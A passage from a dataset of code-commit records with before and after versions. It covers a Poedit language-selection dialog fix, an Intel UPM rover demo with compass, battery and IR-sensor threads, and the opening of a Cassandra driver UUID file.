Static\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(4.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(1, 1, 1, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_STATIC));\n\n\trunTest(Vector3d(0.0, 0.0, 7.0), Vector3d::Zero(), 5000.0);\n}\n\n}; \/\/ namespace Physics\n\n}; \/\/ namespace SurgSim\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  This file is part of Poedit (https:\/\/poedit.net)\n *\n *  Copyright (C) 2013-2019 Vaclav Slavik\n *\n *  Permission is hereby granted, free of charge, to any person obtaining a\n *  copy of this software and associated documentation files (the \"Software\"),\n *  to deal in the Software without restriction, including without limitation\n *  the rights to use, copy, modify, merge, publish, distribute, sublicense,\n *  and\/or sell copies of the Software, and to permit persons to whom the\n *  Software is furnished to do so, subject to the following conditions:\n *\n *  The above copyright notice and this permission notice shall be included in\n *  all copies or substantial portions of the Software.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n *  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n *  DEALINGS IN THE SOFTWARE.\n *\n *\/\n\n#include \"languagectrl.h\"\n\n#include \"str_helpers.h\"\n#include \"hidpi.h\"\n\n#include <wx\/config.h>\n#include <wx\/sizer.h>\n#include <wx\/stattext.h>\n\n#ifdef __WXOSX__\n\n@interface LanguagesDataSource : NSObject<NSComboBoxDataSource>\n@property const wxArrayString *data;\n@property NSArray<NSString*>* items;\n@end\n\n@implementation LanguagesDataSource\n\n- (id)initWithItems:(const wxArrayString*)items\n{\n    self = [super init];\n    if (self)\n    {\n        self.data = items;\n        NSMutableArray<NSString*> *a = [NSMutableArray arrayWithCapacity:items->size()];\n        for (auto i: *items)\n            [a addObject:str::to_NS(i)];\n        self.items = a;\n    }\n    return self;\n}\n\n- (NSInteger)numberOfItemsInComboBox:(NSComboBox *)aComboBox;\n{\n    #pragma unused(aComboBox)\n    return [self.items count];\n}\n\n- (id)comboBox:(NSComboBox *)aComboBox objectValueForItemAtIndex:(NSInteger)index;\n{\n    #pragma unused(aComboBox)\n    if (index >=0 && index < self.data->size())\n        return [self.items objectAtIndex:index];\n    else\n        return @\"\";\n}\n\n- (NSUInteger)comboBox:(NSComboBox *)aComboBox indexOfItemWithStringValue:(NSString *)string;\n{\n    #pragma unused(aComboBox)\n    auto found = self.data->Index(str::to_wx(string), false\/*case sensitive*\/);\n    return (found != wxNOT_FOUND) ? found : NSNotFound;\n}\n\n- (NSString *)comboBox:(NSComboBox *)aComboBox completedString:(NSString *)string;\n{\n    #pragma unused(aComboBox)\n    for (NSString *item in self.items) {\n        if ([item compare:string\n                  options:NSCaseInsensitiveSearch|NSDiacriticInsensitiveSearch\n                    range:NSMakeRange(0, std::min([item length], [string length]))\n                   locale:[NSLocale currentLocale]] == NSOrderedSame)\n        {\n            return item;\n        }\n    }\n    return nil;\n}\n\n@end\n\n\nstruct LanguageCtrl::impl\n{\n    impl(const wxArrayString& items_)\n    {\n        items = &items_;\n        dataSource = [[LanguagesDataSource alloc] initWithItems:items];\n    }\n\n    const wxArrayString *items;\n    LanguagesDataSource *dataSource;\n};\n\nint LanguageCtrl::FindString(const wxString& s, bool bCase) const\n{\n    return m_impl->items->Index(s, bCase);\n}\n\nwxString LanguageCtrl::GetString(unsigned int n) const\n{\n    return m_impl->items->Item(n);\n}\n\n#endif \/\/ __WXOSX__\n\n\nIMPLEMENT_DYNAMIC_CLASS(LanguageCtrl, wxComboBox)\n\nLanguageCtrl::LanguageCtrl() : m_inited(false)\n{\n}\n\nLanguageCtrl::LanguageCtrl(wxWindow *parent, wxWindowID winid, Language lang)\n    : wxComboBox(parent, winid)\n{\n    Init(lang);\n}\n\nvoid LanguageCtrl::Init(Language lang)\n{\n    SetHint(_(\"Language Code or Name (e.g. en_GB)\"));\n\n    \/\/ wxGTK must have the value set before autocompletion to avoid annoying\n    \/\/ popups in some (hard to determine) cases.\n#ifdef __WXGTK__\n    if (lang.IsValid())\n        SetValue(lang.FormatForRoundtrip());\n#endif\n\n    static wxArrayString choices;\n    if (choices.empty())\n    {\n        for (auto x: Language::AllFormattedNames())\n            choices.push_back(x);\n    }\n\n#ifdef __WXOSX__\n    m_impl.reset(new impl(choices));\n    NSComboBox *cb = (NSComboBox*) GetHandle();\n    cb.completes = YES;\n    cb.usesDataSource = YES;\n    cb.dataSource = m_impl->dataSource;\n#else\n    Set(choices);\n    AutoComplete(choices);\n#endif\n\n    m_inited = true;\n\n    \/\/ ...but wxMSW requires the opposite, otherwise the text wouldn't appear.\n#ifndef __WXGTK__\n    if (lang.IsValid())\n        SetValue(lang.FormatForRoundtrip());\n#endif\n}\n\nvoid LanguageCtrl::SetLang(const Language& lang)\n{\n    if (!m_inited)\n        Init(lang);\n    else\n        SetValue(lang.FormatForRoundtrip());\n}\n\nLanguage LanguageCtrl::GetLang() const\n{\n    return Language::TryParse(GetValue().Strip(wxString::both).ToStdWstring());\n}\n\n#ifdef __WXMSW__\nwxSize LanguageCtrl::DoGetBestSize() const\n{\n    \/\/ wxComboBox's implementation is insanely slow, at least on MSW.\n    \/\/ Hardcode a value instead, it doesn't matter for Poedit's use anyway,\n    \/\/ this control's best size is not the determining factor.\n    return GetSizeFromTextSize(100);\n}\n#endif\n\n\n\nLanguageDialog::LanguageDialog(wxWindow *parent)\n    : wxDialog(parent, wxID_ANY, _(\"Translation Language\")),\n      m_validatedLang(-1)\n{\n    auto lang = GetLastChosen();\n\n    auto sizer = new wxBoxSizer(wxVERTICAL);\n\n    auto label = new wxStaticText(this, wxID_ANY, _(\"Language of the translation:\"));\n    m_language = new LanguageCtrl(this, wxID_ANY, lang);\n    m_language->SetMinSize(wxSize(PX(300),-1));\n    auto buttons = CreateButtonSizer(wxOK | wxCANCEL);\n\n#ifdef __WXOSX__\n    sizer->AddSpacer(PX(10));\n    sizer->Add(label, wxSizerFlags().PXBorderAll());\n    sizer->Add(m_language, wxSizerFlags().Expand().PXDoubleBorder(wxLEFT|wxRIGHT));\n    sizer->Add(buttons, wxSizerFlags().Expand());\n#else\n    sizer->AddSpacer(PX(10));\n    sizer->Add(label, wxSizerFlags().PXDoubleBorder(wxLEFT|wxRIGHT));\n    sizer->Add(m_language, wxSizerFlags().Expand().PXDoubleBorder(wxLEFT|wxRIGHT));\n    sizer->Add(buttons, wxSizerFlags().Expand().PXBorderAll());\n#endif\n\n    m_language->Bind(wxEVT_TEXT,     [=](wxCommandEvent& e){ m_validatedLang = -1; e.Skip(); });\n    m_language->Bind(wxEVT_COMBOBOX, [=](wxCommandEvent& e){ m_validatedLang = -1; e.Skip(); });\n\n    Bind(wxEVT_UPDATE_UI,\n        [=](wxUpdateUIEvent& e){ e.Enable(Validate()); },\n        wxID_OK);\n\n    SetSizerAndFit(sizer);\n    CenterOnParent();\n\n    m_language->SetFocus();\n\n#ifdef __WXOSX__\n    \/\/ Workaround wx bug: http:\/\/trac.wxwidgets.org\/ticket\/9521\n    m_language->SelectAll();\n\n    \/\/ Workaround broken Enter handling:\n    Bind(wxEVT_CHAR_HOOK, [=](wxKeyEvent& e){\n        if (e.GetKeyCode() == WXK_RETURN)\n        {\n            auto button = GetDefaultItem();\n            wxCommandEvent event(wxEVT_BUTTON, button->GetId());\n            event.SetEventObject(button);\n            button->ProcessWindowEvent(event);\n        }\n        else\n        {\n            e.Skip();\n        }\n    });\n#endif \/\/ __WXOSX__\n}\n\nbool LanguageDialog::Validate()\n{\n    if (m_validatedLang == -1)\n    {\n        m_validatedLang = m_language->IsValid() ? 1 : 0;\n    }\n\n    return m_validatedLang == 1;\n}\n\nvoid LanguageDialog::EndModal(int retval)\n{\n    if (retval == wxID_OK)\n    {\n        SetLastChosen(GetLang());\n    }\n    wxDialog::EndModal(retval);\n}\n\n\nvoid LanguageDialog::SetLang(const Language& lang)\n{\n    m_validatedLang = -1;\n    m_language->SetLang(lang);\n}\n\nLanguage LanguageDialog::GetLastChosen()\n{\n    wxString langcode = wxConfigBase::Get()->Read(\"\/last_translation_lang\", \"\");\n    Language lang;\n    if (!langcode.empty())\n        lang = Language::TryParse(langcode.ToStdWstring());\n    return lang;\n}\n\nvoid LanguageDialog::SetLastChosen(Language lang)\n{\n    wxConfigBase::Get()->Write(\"\/last_translation_lang\", lang.Code().c_str());\n}\n\n<commit_msg>Fix language control not having initial value w\/ GTK+<commit_after>\/*\n *  This file is part of Poedit (https:\/\/poedit.net)\n *\n *  Copyright (C) 2013-2019 Vaclav Slavik\n *\n *  Permission is hereby granted, free of charge, to any person obtaining a\n *  copy of this software and associated documentation files (the \"Software\"),\n *  to deal in the Software without restriction, including without limitation\n *  the rights to use, copy, modify, merge, publish, distribute, sublicense,\n *  and\/or sell copies of the Software, and to permit persons to whom the\n *  Software is furnished to do so, subject to the following conditions:\n *\n *  The above copyright notice and this permission notice shall be included in\n *  all copies or substantial portions of the Software.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n *  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n *  DEALINGS IN THE SOFTWARE.\n *\n *\/\n\n#include \"languagectrl.h\"\n\n#include \"str_helpers.h\"\n#include \"hidpi.h\"\n\n#include <wx\/config.h>\n#include <wx\/sizer.h>\n#include <wx\/stattext.h>\n\n#ifdef __WXOSX__\n\n@interface LanguagesDataSource : NSObject<NSComboBoxDataSource>\n@property const wxArrayString *data;\n@property NSArray<NSString*>* items;\n@end\n\n@implementation LanguagesDataSource\n\n- (id)initWithItems:(const wxArrayString*)items\n{\n    self = [super init];\n    if (self)\n    {\n        self.data = items;\n        NSMutableArray<NSString*> *a = [NSMutableArray arrayWithCapacity:items->size()];\n        for (auto i: *items)\n            [a addObject:str::to_NS(i)];\n        self.items = a;\n    }\n    return self;\n}\n\n- (NSInteger)numberOfItemsInComboBox:(NSComboBox *)aComboBox;\n{\n    #pragma unused(aComboBox)\n    return [self.items count];\n}\n\n- (id)comboBox:(NSComboBox *)aComboBox objectValueForItemAtIndex:(NSInteger)index;\n{\n    #pragma unused(aComboBox)\n    if (index >=0 && index < self.data->size())\n        return [self.items objectAtIndex:index];\n    else\n        return @\"\";\n}\n\n- (NSUInteger)comboBox:(NSComboBox *)aComboBox indexOfItemWithStringValue:(NSString *)string;\n{\n    #pragma unused(aComboBox)\n    auto found = self.data->Index(str::to_wx(string), false\/*case sensitive*\/);\n    return (found != wxNOT_FOUND) ? found : NSNotFound;\n}\n\n- (NSString *)comboBox:(NSComboBox *)aComboBox completedString:(NSString *)string;\n{\n    #pragma unused(aComboBox)\n    for (NSString *item in self.items) {\n        if ([item compare:string\n                  options:NSCaseInsensitiveSearch|NSDiacriticInsensitiveSearch\n                    range:NSMakeRange(0, std::min([item length], [string length]))\n                   locale:[NSLocale currentLocale]] == NSOrderedSame)\n        {\n            return item;\n        }\n    }\n    return nil;\n}\n\n@end\n\n\nstruct LanguageCtrl::impl\n{\n    impl(const wxArrayString& items_)\n    {\n        items = &items_;\n        dataSource = [[LanguagesDataSource alloc] initWithItems:items];\n    }\n\n    const wxArrayString *items;\n    LanguagesDataSource *dataSource;\n};\n\nint LanguageCtrl::FindString(const wxString& s, bool bCase) const\n{\n    return m_impl->items->Index(s, bCase);\n}\n\nwxString LanguageCtrl::GetString(unsigned int n) const\n{\n    return m_impl->items->Item(n);\n}\n\n#endif \/\/ __WXOSX__\n\n\nIMPLEMENT_DYNAMIC_CLASS(LanguageCtrl, wxComboBox)\n\nLanguageCtrl::LanguageCtrl() : m_inited(false)\n{\n}\n\nLanguageCtrl::LanguageCtrl(wxWindow *parent, wxWindowID winid, Language lang)\n    : wxComboBox(parent, winid)\n{\n    Init(lang);\n}\n\nvoid LanguageCtrl::Init(Language lang)\n{\n    SetHint(_(\"Language Code or Name (e.g. en_GB)\"));\n\n    \/\/ wxGTK must have the value set before autocompletion (but also after it\n    \/\/ below) to avoid annoying popups in some (hard to determine) cases.\n#ifdef __WXGTK__\n    if (lang.IsValid())\n        SetValue(lang.FormatForRoundtrip());\n#endif\n\n    static wxArrayString choices;\n    if (choices.empty())\n    {\n        for (auto x: Language::AllFormattedNames())\n            choices.push_back(x);\n    }\n\n#ifdef __WXOSX__\n    m_impl.reset(new impl(choices));\n    NSComboBox *cb = (NSComboBox*) GetHandle();\n    cb.completes = YES;\n    cb.usesDataSource = YES;\n    cb.dataSource = m_impl->dataSource;\n#else\n    Set(choices);\n    AutoComplete(choices);\n#endif\n\n    m_inited = true;\n\n    if (lang.IsValid())\n        SetValue(lang.FormatForRoundtrip());\n}\n\nvoid LanguageCtrl::SetLang(const Language& lang)\n{\n    if (!m_inited)\n        Init(lang);\n    else\n        SetValue(lang.FormatForRoundtrip());\n}\n\nLanguage LanguageCtrl::GetLang() const\n{\n    return Language::TryParse(GetValue().Strip(wxString::both).ToStdWstring());\n}\n\n#ifdef __WXMSW__\nwxSize LanguageCtrl::DoGetBestSize() const\n{\n    \/\/ wxComboBox's implementation is insanely slow, at least on MSW.\n    \/\/ Hardcode a value instead, it doesn't matter for Poedit's use anyway,\n    \/\/ this control's best size is not the determining factor.\n    return GetSizeFromTextSize(100);\n}\n#endif\n\n\n\nLanguageDialog::LanguageDialog(wxWindow *parent)\n    : wxDialog(parent, wxID_ANY, _(\"Translation Language\")),\n      m_validatedLang(-1)\n{\n    auto lang = GetLastChosen();\n\n    auto sizer = new wxBoxSizer(wxVERTICAL);\n\n    auto label = new wxStaticText(this, wxID_ANY, _(\"Language of the translation:\"));\n    m_language = new LanguageCtrl(this, wxID_ANY, lang);\n    m_language->SetMinSize(wxSize(PX(300),-1));\n    auto buttons = CreateButtonSizer(wxOK | wxCANCEL);\n\n#ifdef __WXOSX__\n    sizer->AddSpacer(PX(10));\n    sizer->Add(label, wxSizerFlags().PXBorderAll());\n    sizer->Add(m_language, wxSizerFlags().Expand().PXDoubleBorder(wxLEFT|wxRIGHT));\n    sizer->Add(buttons, wxSizerFlags().Expand());\n#else\n    sizer->AddSpacer(PX(10));\n    sizer->Add(label, wxSizerFlags().PXDoubleBorder(wxLEFT|wxRIGHT));\n    sizer->Add(m_language, wxSizerFlags().Expand().PXDoubleBorder(wxLEFT|wxRIGHT));\n    sizer->Add(buttons, wxSizerFlags().Expand().PXBorderAll());\n#endif\n\n    m_language->Bind(wxEVT_TEXT,     [=](wxCommandEvent& e){ m_validatedLang = -1; e.Skip(); });\n    m_language->Bind(wxEVT_COMBOBOX, [=](wxCommandEvent& e){ m_validatedLang = -1; e.Skip(); });\n\n    Bind(wxEVT_UPDATE_UI,\n        [=](wxUpdateUIEvent& e){ e.Enable(Validate()); },\n        wxID_OK);\n\n    SetSizerAndFit(sizer);\n    CenterOnParent();\n\n    m_language->SetFocus();\n\n#ifdef __WXOSX__\n    \/\/ Workaround wx bug: http:\/\/trac.wxwidgets.org\/ticket\/9521\n    m_language->SelectAll();\n\n    \/\/ Workaround broken Enter handling:\n    Bind(wxEVT_CHAR_HOOK, [=](wxKeyEvent& e){\n        if (e.GetKeyCode() == WXK_RETURN)\n        {\n            auto button = GetDefaultItem();\n            wxCommandEvent event(wxEVT_BUTTON, button->GetId());\n            event.SetEventObject(button);\n            button->ProcessWindowEvent(event);\n        }\n        else\n        {\n            e.Skip();\n        }\n    });\n#endif \/\/ __WXOSX__\n}\n\nbool LanguageDialog::Validate()\n{\n    if (m_validatedLang == -1)\n    {\n        m_validatedLang = m_language->IsValid() ? 1 : 0;\n    }\n\n    return m_validatedLang == 1;\n}\n\nvoid LanguageDialog::EndModal(int retval)\n{\n    if (retval == wxID_OK)\n    {\n        SetLastChosen(GetLang());\n    }\n    wxDialog::EndModal(retval);\n}\n\n\nvoid LanguageDialog::SetLang(const Language& lang)\n{\n    m_validatedLang = -1;\n    m_language->SetLang(lang);\n}\n\nLanguage LanguageDialog::GetLastChosen()\n{\n    wxString langcode = wxConfigBase::Get()->Read(\"\/last_translation_lang\", \"\");\n    Language lang;\n    if (!langcode.empty())\n        lang = Language::TryParse(langcode.ToStdWstring());\n    return lang;\n}\n\nvoid LanguageDialog::SetLastChosen(Language lang)\n{\n    wxConfigBase::Get()->Write(\"\/last_translation_lang\", lang.Code().c_str());\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Author: Mihai T Panu <mihai.tudor.panu@intel.com>\n * Copyright (c) 2015 Intel Corporation.\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <unistd.h>\n#include <signal.h>\n#include <iostream>\n#include \"grovemd.h\"\n#include \"jhd1313m1.h\"\n#include \"rfr359f.h\"\n#include \"hmc5883l.h\"\n#include \"grovevdiv.h\"\n\nusing namespace std;\nusing namespace upm;\n\nbool running = true;\n\n\/\/ Handler for POSIX signals\nvoid signalHandler(int signo)\n{\n  if (signo == SIGINT)\n    running = false;\n}\n\nint main(int argc, char **argv)\n{\n  signal(SIGINT, signalHandler);\n  \/\/ Instantiate an I2C Grove Motor Driver on default I2C bus\n  GroveMD *motors = new GroveMD(GROVEMD_I2C_BUS, GROVEMD_DEFAULT_I2C_ADDR);\n\n  \/\/ Main event loop\n  while(running){\n  \n  }\n\n  cout << \"Exiting...\" << endl;\n\n  delete motors;\n  return 0;\n}\n<commit_msg>robotics: added full implementation for demo<commit_after>\/*\n * Author: Mihai T Panu <mihai.tudor.panu@intel.com>\n * Copyright (c) 2015 Intel Corporation.\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <unistd.h>\n#include <signal.h>\n#include <iostream>\n#include <string>\n#include <thread>\n#include <mutex>\n#include \"grovemd.h\"\n#include \"jhd1313m1.h\"\n#include \"rfr359f.h\"\n#include \"hmc5883l.h\"\n#include \"grovevdiv.h\"\n\nusing namespace std;\nusing namespace upm;\n\nmutex crit;\nbool running = true;\n\nbool blockedFL = false;\nbool blockedFR = false;\nbool blockedRL = false;\nbool blockedRR = false;\n\nbool batteryLow = true;\nconst float batteryThreshold = 7.2f;\n\nconst string heading = \"--|--N--|--|--E--|--|--S--|--|--W--|--|--N--|--\";\n\n\n\/\/ Handler for POSIX signals\nvoid signalHandler(int signo)\n{\n  if (signo == SIGINT){\n    running = false;\n  }\n}\n\n\/\/ Heading display on LCD\nvoid displayHeading(Jhd1313m1 *lcd, Hmc5883l *compass){\n\n    \/\/ You can set your declination in radians for more accurate readings\n    \/\/compass->set_declination(0.2749);\n\n    while(running){\n        compass->update();\n\n        \/\/ Round the heading returned by compass and turn it into an index\n        \/\/ from 0 to 36 for the heading string\n        int hdg = int(compass->heading() + 0.5f);\n        int hdg_index = hdg \/ 10;\n\n        \/\/ Write the heading on the first line, lcd->clear() is not needed since\n        \/\/ we write the entire line\n        crit.lock();\n        lcd->setCursor(0, 0);\n        lcd->write(\"HDG: \" + heading.substr(hdg_index, 11));\n        crit.unlock();\n\n        \/\/ Update readings and display every 250 ms\n        usleep(250000);\n    }\n}\n\n\/\/ Battery level display on LCD\nvoid displayBattery(Jhd1313m1 *lcd, GroveVDiv *divider){\n\n    \/\/ Variable used for flashing LCD red when battery is low\n    uint8_t red = 0x3F;\n\n    while(running){\n        \/\/ Read 50 samples each with 2 ms in between (100 ms total)\n        int avgValue = divider->value(50);\n        \/\/ Convert the value to voltage at 3x gain and 5V reference\n        \/\/ Also subtract half a unit for improved accuracy in the 6~8V range\n        float voltage = divider->computedValue(3, avgValue) - 0.5f;\n        string displayStr = to_string(voltage);\n        displayStr = displayStr.substr(0, 4);\n\n        \/\/ Write the battery voltage on the second line of the display\n        crit.lock();\n        lcd->setCursor(1, 0);\n        lcd->write(\"Batt: \" + displayStr + \" V    \");\n        crit.unlock();\n\n        \/\/ Battery low, flash LCD and refresh more often\n        if(voltage < 7.2f)\n        {\n            batteryLow = true;\n            lcd->setColor(red, 0x00, 0x00);\n            \/\/ Toggle red bits\n            red = ~red;\n            sleep(2);\n        }\n        else{\n            \/\/ Battery was considered low but new reading is above threshold\n            \/\/ Thus return to normal operation mode and make the LCD green\n            if(batteryLow){\n                lcd->setColor(0x00, 0xCF, 0x00);\n            }\n            batteryLow = false;\n            \/\/ Refresh every 5 seconds\n            sleep(5);\n        }\n    }\n}\n\n\/\/ IR sensors thread\nvoid distanceIR(GroveMD *motors, RFR359F *fl, RFR359F *fr, RFR359F *rl, RFR359F *rr){\n    while(running){\n        \/\/ Set the corresponding sensor variable when an object is detected\n        if(fl->objectDetected()){\n            blockedFL = true;\n        }\n        else{\n            blockedFL = false;\n        }\n        if(fr->objectDetected()){\n            blockedFR = true;\n        }\n        else{\n            blockedFR = false;\n        }\n        if(rl->objectDetected()){\n            blockedRL = true;\n        }\n        else{\n            blockedRL = false;\n        }\n        if(rr->objectDetected()){\n            blockedRR = true;\n        }\n        else{\n            blockedRR = false;\n        }\n        \/\/ Stop the motors if any sensor was triggered\n        if(blockedFL || blockedFR || blockedRL || blockedRR){\n            motors->setMotorSpeeds(0, 0);\n        }\n        \/\/ Refresh every 10 ms\n        usleep(10000);\n    }\n}\n\nint main(int argc, char **argv)\n{\n  \/\/ Register signal handler\n  signal(SIGINT, signalHandler);\n\n  \/\/ Instantiate an I2C Grove Motor Driver on default I2C bus\n  GroveMD *motors = new GroveMD(GROVEMD_I2C_BUS, GROVEMD_DEFAULT_I2C_ADDR);\n  if(motors == NULL){\n      cerr << \"Failed to initialize the motor driver.\" << endl;\n      exit(EXIT_FAILURE);\n  }\n\n  \/\/ Initialize the Grove RGB Backlit LCD using implicit\n  \/\/ 0x62 for RGB_ADDRESS and 0x3E for LCD_ADDRESS\n  Jhd1313m1 *lcd = new upm::Jhd1313m1(0);\n  if(lcd == NULL){\n      cerr << \"Failed to initialize the LCD.\" << endl;\n      exit(EXIT_FAILURE);\n  }\n\n  \/\/ Instantiate the HMC5883 compass on default bus\n  Hmc5883l *compass = new Hmc5883l(0);\n  if(compass == NULL){\n      cerr << \"Failed to initialize the HMC5883 compass.\" << endl;\n      exit(EXIT_FAILURE);\n  }\n\n  \/\/ Instantiate the Grove Voltage Divider on pin A0\n  GroveVDiv *divider = new GroveVDiv(0);\n  if(divider == NULL){\n      cerr << \"Failed to initialize the voltage divider.\" << endl;\n      exit(EXIT_FAILURE);\n  }\n\n  \/\/ Instantiate 4 Grove IR Distance Interrupters on pins D2, D4, D6, D8\n  RFR359F *frontLeftIR = new RFR359F(2);\n  RFR359F *frontRightIR = new RFR359F(4);\n  RFR359F *rearLeftIR = new RFR359F(6);\n  RFR359F *rearRightIR = new RFR359F(8);\n\n  if(frontLeftIR == NULL || frontRightIR == NULL || rearLeftIR == NULL || rearRightIR == NULL){\n      cerr << \"Failed to initialize one of the IR sensors.\" << endl;\n      exit(EXIT_FAILURE);\n  }\n\n  \/\/ Start independent threads for the different components\n  thread comp (displayHeading, lcd, compass);\n  thread batt (displayBattery, lcd, divider);\n  thread collision (distanceIR, motors, frontLeftIR, frontRightIR, rearLeftIR, rearRightIR);\n\n  \/\/ Main event and control loop\n  \/\/ Commands are given through stdin as tuples of the form <CMD_NAME SPEED>\n  \/\/ Except for the <stop> command and are case sensitive\n  while(running){\n\n      string command;\n      int speed;\n\n      \/\/ Wait command from stdin\n      cin.clear();\n      cin >> command;\n      if(command == \"stop\" || command.empty()){\n          \/\/ Stop rover\n          motors->setMotorSpeeds(0, 0);\n          cout << \"Rover stopping!\" << endl;\n          continue;\n      }\n      \/\/ Read speed\n      cin >> speed;\n      \/\/ Check against non-numbers entered in string\n      if(cin.fail()){\n          cerr << \"Error: Bad input! Please check your command and try again.\" << endl;\n          continue;\n      }\n      \/\/ Check for proper range\n      if(speed < 0 || speed > 255){\n          cerr << \"Error: Speed needs to be between 0 to 255.\" << endl;\n          continue;\n      }\n      \/\/ Direction is set based on command\/keyword\n      if(command == \"fwd\" && (!blockedFL || !blockedFR)){\n          motors->setMotorDirections(GroveMD::DIR_CW, GroveMD::DIR_CW);\n          motors->setMotorSpeeds(speed, speed);\n          cout << \"Rover going forward at speed \" << speed << endl;\n      }\n      else if(command == \"left\"  && (!blockedFL || !blockedRL)){\n          motors->setMotorDirections(GroveMD::DIR_CCW, GroveMD::DIR_CW);\n          motors->setMotorSpeeds(speed, speed);\n          cout << \"Rover turning left at speed \" << speed << endl;\n      }\n      else if(command == \"right\" && (!blockedFR || !blockedRR)){\n          motors->setMotorDirections(GroveMD::DIR_CW, GroveMD::DIR_CCW);\n          motors->setMotorSpeeds(speed, speed);\n          cout << \"Rover turning right at speed \" << speed << endl;\n      }\n      else if(command == \"rev\"  && (!blockedRL || !blockedRR)){\n          motors->setMotorDirections(GroveMD::DIR_CCW, GroveMD::DIR_CCW);\n          motors->setMotorSpeeds(speed, speed);\n          cout << \"Rover in reverse at speed \" << speed << endl;\n      }\n      else{\n          motors->setMotorSpeeds(0, 0);\n          cout << \"Command not supported or direction blocked!\" << endl;\n      }\n  }\n\n  \/\/ Clean up and exit\n  comp.join();\n  batt.join();\n  collision.join();\n\n  \/\/ Turn off LCD\n  lcd->setColor(0x00, 0x00, 0x00);\n  lcd->clear();\n\n  cout << \"Exiting...\" << endl;\n\n  delete compass;\n  delete divider;\n  delete motors;\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  Copyright (c) 2014-2015 DataStax\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n*\/\n\n#include \"uuids.hpp\"\n\n#include \"cassandra.h\"\n#include \"get_time.hpp\"\n#include \"logger.hpp\"\n#include \"md5.hpp\"\n#include \"serialization.hpp\"\n#include \"scoped_lock.hpp\"\n#include \"external_types.hpp\"\n\n#include <stdio.h>\n#include <ctype.h>\n\n#define TIME_OFFSET_BETWEEN_UTC_AND_EPOCH 0x01B21DD213814000LL \/\/ Nanoseconds\n#define MIN_CLOCK_SEQ_AND_NODE 0x8080808080808080LL\n#define MAX_CLOCK_SEQ_AND_NODE 0x7f7f7f7f7f7f7f7fLL\n\nstatic uint64_t to_milliseconds(uint64_t timestamp) {\n  return timestamp \/ 10000L;\n}\n\nstatic uint64_t from_unix_timestamp(uint64_t timestamp) {\n  return (timestamp * 10000L) + TIME_OFFSET_BETWEEN_UTC_AND_EPOCH;\n}\n\nstatic uint64_t set_version(uint64_t timestamp, uint8_t version) {\n  return (timestamp & 0x0FFFFFFFFFFFFFFFLL) | (static_cast<uint64_t>(version) << 60);\n}\n\nextern \"C\" {\n\nCassUuidGen* 